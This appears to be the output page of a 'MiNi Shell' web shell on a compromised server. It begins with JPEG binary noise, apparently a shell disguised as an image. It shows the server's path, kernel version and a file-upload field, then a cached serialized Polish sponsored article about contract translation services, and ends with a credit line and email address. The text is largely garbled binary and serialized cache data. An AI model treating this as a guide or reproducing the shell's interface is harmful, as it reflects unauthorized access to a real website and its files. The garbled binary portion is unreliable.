JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/4d/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/4d/4db196ea90232af3cad85fceb3086d27.bin

a:2:{i:0;a:2:{i:0;s:10809:" 
                    
                    <h3 class="title" itemprop="headline"> Jak zadbać o profesjonalne tłumaczenia umów firmowych?</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 13-12-2019, 11:50</strong>
                        <meta itemprop="dateModified" content=" 13-12-2019, 11:50"/>
                        <div class="hide" itemprop="description">Umowy pełnią bardzo istotną rolę w rozwoju i funkcjonowaniu każdej współczesnej firmy, ponieważ ich podstawowym celem jest regulowanie praw i obowiązków każdej z zaangażowanych stron. Umowy mogą być podpisywane zarówno między instytucjami lub osobami działającymi w jednym kraju, jak i pomiędzy podmiotami międzynarodowymi. W tym drugim przypadku często pojawia się konieczność ich przetłumaczenia. Co warto wiedzieć o tłumaczeniach umów i komu powierzyć ich wykonanie?</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="rachunkowosc.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.rachunkowosc.org/images/loga/rachunkowosc.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/62005/crop/800x600/bez-nazwy-665224001576234048.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.rachunkowosc.org/artykuly/szczegoly/62005"/>
                        
                                        </p>

                    <div class="lorem">
                        <p><strong>Umowy pełnią bardzo istotną rolę w rozwoju i funkcjonowaniu każdej współczesnej firmy, ponieważ ich podstawowym celem jest regulowanie praw i obowiązków każdej z zaangażowanych stron. Umowy mogą być podpisywane zarówno między instytucjami lub osobami działającymi w jednym kraju, jak i pomiędzy podmiotami międzynarodowymi. W tym drugim przypadku często pojawia się konieczność ich przetłumaczenia. Co warto wiedzieć o tłumaczeniach umów i komu powierzyć ich wykonanie?</strong></p><h3>Tłumaczenia finansowe umów i dokumentów firmowych</h3><div class="row">
<div class="col-xs-6">
<p><a style="color:#23527c;" href="https://lingualab.pl/branze/tlumaczenia-umow/" target="_blank" rel="dofollow noopener"><span style="font-weight:bold;">Tłumaczenia umów</span></a> zaliczają się do grupy przekładów finansowych. Są to wysoce specjalistyczne przekłady, do prawidłowej realizacji których nie wystarczy wyłącznie znajomość języka obcego – nawet najbardziej perfekcyjna. Umowy są bowiem dokumentami wysoce sformalizowanymi, pełnymi specjalistycznej terminologii – często związanej z branżą prawniczą – od których prawidłowego zrozumienia nierzadko zależą dalsze losy firmy.</p>
</div>
<div class="col-xs-6"><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/62005/bez%20nazwy.webp" alt="Jak zadbać o profesjonalne tłumaczenia umów firmowych?" loading="lazy" /></div>
</div><p>Przekłady umów to więc także tłumaczenia prawnicze, gdyż dokumenty zawierają w sobie przepisy prawne oraz są nacechowane terminologią prawniczą.</p><p>Z uwagi na skomplikowany charakter umów jako dokumentów o charakterze prawniczym, prawidłowa realizacja ich przekładów na języki obce wymaga od tłumacza posiadania kierunkowej wiedzy z zakresu prawa oraz –co ważniejsze – systemów prawnych, obowiązujących w danym kraju. Kompletna znajomość prawa zarówno krajowego, jak i zagranicznego gwarantuje tłumaczowi prawidłowe oddanie treści oryginału; klientowi z kolei daje poczucie bezpieczeństwa oraz pewność co do bezbłędnego zrozumienia treści dokumentu, który podpisuje.</p><p>Umowy pełnią bardzo istotną rolę w funkcjonowaniu globalnych firm. Ich głównym zadaniem jest zabezpieczanie interesów obu stron oraz określanie wzajemnych warunków ich współpracy. Bezbłędne zrozumienie treści zawieranej umowy pozwala firmom na kontynuowanie owocnej współpracy oraz chroni je przed popełnieniem błędów. Do najczęściej tłumaczonych umów należą takie dokumenty, jak m. in. umowy handlowe i pełnomocnictwa, umowy najmu, sprzedaży i kupna, dokumenty przetargowe, umowy o pracę, dzieło i zlecenie, umowy kredytowe, poświadczenia rezydencji podatkowej oraz umowy na dofinansowanie z Unii Europejskiej.</p><h3>Tłumaczenia finansowe w rękach specjalisty – kto może zajmować się tłumaczeniem umów?</h3><p>Z uwagi na hermetyczny charakter treści umów, ich realizacją nie może zajmować się każdy tłumacz, który jedynie biegle włada konkretnym językiem obcym. Do prawidłowego wykonania tej wymagającej i odpowiedzialnej pracy niezbędne jest bowiem także kierunkowe wykształcenie prawnicze oraz znajomość regulacji prawnych obowiązujących w kraju, w którym dana umowa będzie funkcjonowała. Z tego powodu profesjonalne biura tłumaczeń powierzają przekłady umów i dokumentów biznesowych filologom posiadającym dodatkowo wykształcenie prawnicze.</p><p>Tylko filolodzy-prawnicy, dysponujący doświadczeniem zawodowym oraz wiedzą z zakresu prawa, są w stanie bezbłędnie zrozumieć treść oryginalnego dokumentu. Perfekcyjna znajomość języka obcego oraz regulacji prawnych danego kraju pozwala im z kolei przełożyć dokument na język docelowy, oddając jego pełne znaczenie oraz przenosząc jego zawartość prawną na grunt jurysdykcji innego państwa. W branży tłumaczeniowej najwięcej profesjonalnych tłumaczy świadczy usługi przekładów w języku angielskim, którym posługuje się dziś zdecydowana większość globalnie działających przedsiębiorstw.</p><p>Podstawowym problemem, jaki napotykają w swojej codziennej pracy tłumacze umów i dokumentów prawniczych, jest niekompatybilność systemów prawnych, obowiązujących w różnych krajach. Wynika ona z różnic kulturowych oraz odmiennego rozwoju systemów jurysdykcyjnych w poszczególnych państwach na przestrzeni lat. Doskonałym przykładem są tu kraje anglosaskie, w których obowiązuje „common law”, czyli „prawo wspólne” – oraz Polska, gdzie w jego miejscu stosowane jest natomiast „prawo stanowione”. Tłumacz często musi także dokonać wyboru, czy w danym dokumencie lepiej sprawdzi się zastosowanie terminu międzynarodowego, narodowego, czy może specyficznego dla konkretnego podmiotu prawnego.</p><h3>Zaufane i profesjonale biuro tłumaczeń dla klientów biznesowych</h3><p>Umowy i dokumenty o charakterze prawnym i finansowym należą do najczęściej tłumaczonych tekstów biznesowych na języki obce. Z uwagi na ich specjalistyczny charakter oraz ogromne znaczenie dla dalszego rozwoju i funkcjonowania firm, realizację przekładów umów na języki obce warto powierzyć sprawdzonemu i godnemu zaufania biuru tłumaczeń. Przy jego wyborze należy kierować się specjalizacją w zakresie tłumaczenia umów, a także doświadczeniem w obsłudze globalnych firm i instytucji.</p><p>Doskonałym wyborem dla wszystkich firm, które w swojej działalności regularnie wykorzystują tłumaczenia finansowe i prawnicze, jest <a href="https://lingualab.pl/" target="_blank" rel="dofollow noopener"><strong>Lingua Lab</strong></a>. To internetowe biuro tłumaczeń, którego jednym z głównych filarów działalności jest dostarczanie klientom profesjonalnych tłumaczeń umów i dokumentów o charakterze prawniczym. Agencja ogromne znaczenie przywiązuje także do kwestii poufności powierzonej jej dokumentacji, stojąc na straży wszystkich przekazywanych w trakcie współpracy oraz zawartych w treści umów wrażliwych informacji.</p>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            <p class="text-right">Artykuł sponsorowany</p>
                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=umowa+firmowa" class="label label-default">umowa firmowa</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=tłumaczenie+umowy+firmowej" class="label label-default">tłumaczenie umowy firmowej</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=tłumaczenie+finansowe" class="label label-default">tłumaczenie finansowe</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.rachunkowosc.org/artykuly/szczegoly/62005_jak-zadbac-o-profesjonalne-tlumaczenia-umow-firmowych" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_62005";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"8e48fde7202e359fec9635d5e36cb3bd";s:21:"0.66715700 1748016820";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com